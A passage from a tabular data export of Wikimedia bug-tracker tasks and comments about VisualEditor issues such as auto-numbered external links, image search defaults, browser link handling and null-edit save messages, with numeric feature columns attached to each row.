+**Severity**: normal",Low,25.0,1373850900,1429478524.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-pkpe26l4yvkcclna5vl6,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+446014,"VisualEditor: Deleting new line icon (""↵"") between two links has no effect (?)","This appears to work correctly now.
+
+(The article no longer has this wikitext now, but I tried on an older version: https://en.wikipedia.org/w/index.php?title=Otis_(album)&oldid=512105119&veaction=edit – be sure to only preview changes and do not accidentally save the article.)",,,1429478513,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkpe26l4yvkcclna5vl6,task_subcomment,,True,c1,3,True,,,93,,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+242201,"VisualEditor: Deleting new line icon (""↵"") between two links has no effect (?)",Possibly a Parsoid bug?,,,1385384555,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pkpe26l4yvkcclna5vl6,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0
+53309,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"The way VisualEditor handles links with square brackets, but no explicit anchor, can be confusing.  These links are generally discouraged on English Wikipedia, but still occasionally used.
+
+An example is https://en.wikipedia.org/w/index.php?title=User:Superm401/Sandbox&veaction=edit&oldid=564175896 .  The wikitext for this is just [http://example.com], which renders as a linked [1] (or whatever number it is in the page)
+
+However, you should edit the latest version of a page for testing this.  When you edit an oldid page, you won't be able to reproduce the ""Save page"" disable behavior I mention below.
+
+VisualEditor lets you backspace to remove the characters one by one, which does not really reflect the model of how the link works.  After one or more is removed, ""Save page"" un-greys.  However, when you go to review the changes, it says, ""Could not start the review because your revision matches the latest version of this page.""
+
+It does let you remove the link entirely, but to do so you need to explicitly remove each character (not just backspace once to delete the whole thing).
+
+Do a fresh load of the edit page (separate test).  Then, click the chain icon next to the link.  Then, press enter twice to exit the link dialog.  This time, review changes works.  The wikitext becomes:
+
+[http://example.com <nowiki>[1]</nowiki>]
+
+It probably should not change the link if you simply enter the link dialog and press enter without changing anything.  Also, forcing it to text like this is inconsistent with what happens if you delete the right bracket (see above).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373772420,1409962487.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-67wpkhw2f4styiyn7rfv,task_description,resolved,True,c1,3,True,False,False,1,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+240700,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to Matthew Flaschen from comment #9)
+> Is it possible to convert an auto-numbered link to one with arbitrary text
+> (that's what the second part of the bug title refers to)?
+
+Yes, that's been possible for a while. In https://meta.wikimedia.org/wiki/Tech/News/2014/27?veaction=edit for example, click on one of the auto-numbered links to edit it, then click ""add label"" to convert it to a ""normal"" link.",,,1410238428,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,62,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+240694,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,Is it possible to convert an auto-numbered link to one with arbitrary text (that's what the second part of the bug title refers to)?,,,1410235672,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,62,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+240686,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"Change 143346 merged by jenkins-bot:
+Make it possible to create autonumbered external links from link inspector
+
+https://gerrit.wikimedia.org/r/143346",,,1409962256,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+240678,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to Bartosz Dziewoński from comment #6)
+> (In reply to James Forrester from comment #2)
+> > You cannot …
+
+[…]
+
+> > * … convert an auto-numbered external link to a real external link; or
+> 
+> You can do that from ve.ui.MWLinkNodeInspector now, I don't know when it was
+> implemented.
+
+Yes, that was fixed a month or so ago with the creation of MWLinkNodeInspector.",,,1404237321,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,52,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+240670,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to James Forrester from comment #2)
+> You cannot …
+> 
+> * … create an auto-numbered external link; 
+
+My patch https://gerrit.wikimedia.org/r/143346 implements this.
+
+> * … convert an auto-numbered external link to a real external link; or
+
+You can do that from ve.ui.MWLinkNodeInspector now, I don't know when it was implemented.
+
+> * … ""clear formatting"" on an auto-numbered external link.
+> 
+> I think the first two are valuable, but the third isn't, because we're
+> planning to remove the function of removing links and other rich styling
+> from the ""clear formatting"" function button.
+
+I don't think treating it as ""formatting"" makes sense anyway.",,,1404233558,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,52,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+240664,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"Change 143346 had a related patch set uploaded by Bartosz Dziewoński:
+Make it possible to create autonumbered external links from link inspector
+
+https://gerrit.wikimedia.org/r/143346",,,1404233443,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+240658,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to Matthew Flaschen from comment #3)
+> (In reply to Matthew Flaschen from comment #0)
+> > VisualEditor lets you backspace to remove the characters one by one, which
+> > does not really reflect the model of how the link works.
+> 
+> This is fixed.  It now highlights on first backspace, and erases on second,
+> which I think is handled the same as similar things.
+
+Yeah, sorry, forgot to say ""we've done a bunch of work on auto-numbered external links since this bug was filed, so most of this is fixed, however…"" at the top. :-)",,,1394498598,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,1
+240655,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to Matthew Flaschen from comment #0)
+> VisualEditor lets you backspace to remove the characters one by one, which
+> does not really reflect the model of how the link works.
+
+This is fixed.  It now highlights on first backspace, and erases on second, which I think is handled the same as similar things.",,,1394490729,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+240651,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"Current status:
+
+You can …
+
+* … edit the target of an auto-numbered external link to a different external link; and 
+* … edit the target of an auto-numbered external link to an internal link, and the anchor will automatically be set as the internal link value.
+
+
+You cannot …
+
+* … create an auto-numbered external link; 
+* … convert an auto-numbered external link to a real external link; or
+* … ""clear formatting"" on an auto-numbered external link.
+
+I think the first two are valuable, but the third isn't, because we're planning to remove the function of removing links and other rich styling from the ""clear formatting"" function button. Re-titling, setting priority.",,,1394479965,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+240646,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"Also, if you highlight it, then use ""Clear formatting"", it does nothing.  I'm not sure what it should do (nowiki the URL?), but if it does nothing it should be greyed out.",,,1373772660,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0
+53290,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):
+
+It's not a high priority, but still, a suggestion: the default search text, for an image search, is the complete page name. So, for example, if someone is editing a draft article, at User:WhateverEditorName/Article name, the default search text is ""WhateverEditorName/Article name"". It would be better if the default ignored the final slash and all text to the left of it; in this case, it would mean the default search would be ""Article name"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373722680,1401923120.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-dokktb23gmzzq6sf5ts5,task_description,resolved,True,c1,3,False,False,False,1,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+239652,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"Change 137151 merged by jenkins-bot:
+Use subpage only for media search string
+
+https://gerrit.wikimedia.org/r/137151",,,1401919831,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239648,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"Change 137151 had a related patch set uploaded by Mooeypoo:
+Use subpage only for media search string
+
+https://gerrit.wikimedia.org/r/137151",,,1401825558,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239643,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"(In reply to comment #5)
+> No, not everyone has the editbugs permission.
+
+See bug 40497 for the editbugs problem.",,,1374841877,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,True,,,3,,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+239638,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"No, not everyone has the editbugs permission. Andre can give you it, CCing him.",,,1374840313,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,True,,,3,,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0
+239632,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"Ah, I see. :) I don't actually know if everyone has the rights to do so - bugzilla is a strange and wondrous land to me.",,,1373808017,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+239627,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"You missed my main point in the title : it's text ""before"" the / that should be ignored, not the text ""after"" ;-)
+
+I don't see how I can change bug titles. Are you sure everyone has the rights to do so ?
+The only things I can do is add a comment, add an attachment, ...",,,1373807242,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,1,,0,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,0
+239621,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"I've changed it. Titles are editable in bugzilla, much like wikitext. :)",,,1373806617,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+239616,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"Bug title is incorrect, it would rather be something like ""Default search text for images should ignore text before /""",,,1373793904,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+53269,VisualEditor: Maxthon mobile browser click on link opens the link,"When using the Maxthon browser, clicking on a link (wiki or external) opens the link instead of allow ther to alter the link object.
+
+After the linked page is opened, returning to the VE shows the link object icon which alllows the link to be altered.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1373671080,1598732594.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-d2aeownijzkra4jifb23,task_description,declined,True,c1,3,False,False,False,1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+1570552,VisualEditor: Maxthon mobile browser click on link opens the link,"Unfortunately closing this Phabricator task as no further information has been provided.
+
+After you have provided the information asked for and if this still happens, please set the status of this task back to ""Open"" via the {nav name=Add Action... > Change Status} dropdown. Thanks!
+",,,1598732594,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d2aeownijzkra4jifb23,task_subcomment,,True,c1,3,True,,,373,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+1514898,VisualEditor: Maxthon mobile browser click on link opens the link,"5.5 years later, is this still an issue? If it is, please provide Maxthon browser version information and a URL to reproduce. Thanks!",,,1590943358,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d2aeownijzkra4jifb23,task_subcomment,,True,c1,3,True,,,360,,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+238398,VisualEditor: Maxthon mobile browser click on link opens the link,It works better than Google Chrome. :P  See bug 51270.,,,1373672761,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-d2aeownijzkra4jifb23,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+238391,VisualEditor: Maxthon mobile browser click on link opens the link,Sounds like we may need to blacklist the Maxthon browser. :-(,,,1373671579,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d2aeownijzkra4jifb23,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53252,VisualEditor: Initial (PHP-rendered) template display misaligned in Firefox,"Copied from English Wikipedia:
+
+Editing Gol Transportes Aéreos Flight 1907#Criminal proceedings I added two cleanup templates, {{update}} and {{prose}}. In the visual editor the two templates were differently left-aligned and different lengths, despite saving and displaying correctly. Reopening the page in the visual editor, the templates appear at their correct size and alignment, but do appear with an apparent blank line between them. Thryduulf (talk) 14:04, 12 July 2013 (UTC)
+
+See screenshot: 
+http://en.wikipedia.org/wiki/File:Visual_Editor_screenshot_-_templates_not_aligned.png
+
+****
+I could replicate this on Firefox (Windows 7) but not Chrome.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1373654340,1421778486.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-sazwqzfkazbagnggd2du,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+401716,VisualEditor: Initial (PHP-rendered) template display misaligned in Firefox,Looks fine to me now?,,,1421778486,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sazwqzfkazbagnggd2du,task_subcomment,,True,c1,3,True,,,81,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0
+53243,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","I was following Sherry's kind advices in my sandbox at enwp http://en.wikipedia.org/wiki/User:Elitre_(WMF)/Sandbox:
+<<you can create an {{Infobox person}}, with parameters like ""name"" and ""occupation"".  Within those parameters, you can type the wikicode for any templates you want.  For example, you can give it a name parameter of ""Alice Expert((citation needed|date=July 2013}}"", which later gets processed properly as a template. >>
+An infobox appeared (well, a box with my sandbox title, actually), I saved, ""your edit was saved"" message appeared, the box isn't in the page anymore.
+Tried again, same thing. No trace of my activity in the history. Win 7, Vector, both Chrome and FF.
+
+Thanks,
+E.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52640",Low,25.0,1373644020,1406680806.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+236609,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","Change 150419 merged by jenkins-bot:
+Don't show PostEdit message if we made a null edit
+
+https://gerrit.wikimedia.org/r/150419",,,1406681112,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,56,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+236602,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","Change 150419 had a related patch set uploaded by Alex Monk:
+Don't show PostEdit message if we made a null edit.
+
+https://gerrit.wikimedia.org/r/150419",,,1406673673,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,56,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+236594,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't",Confirmed that this is still broken for VisualEditor (and not for wikitext editing).,,,1401997911,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,True,,,48,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+236590,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","**swalling** wrote:
+
+(In reply to comment #3)
+> This is the same behaviour as the wikitext editor. We really should fix this
+> there first if we're changing behaviour for VisualEditor, so that they match.
+> 
+> CC'ed Steven - is there interest in changing for this case in core?
+
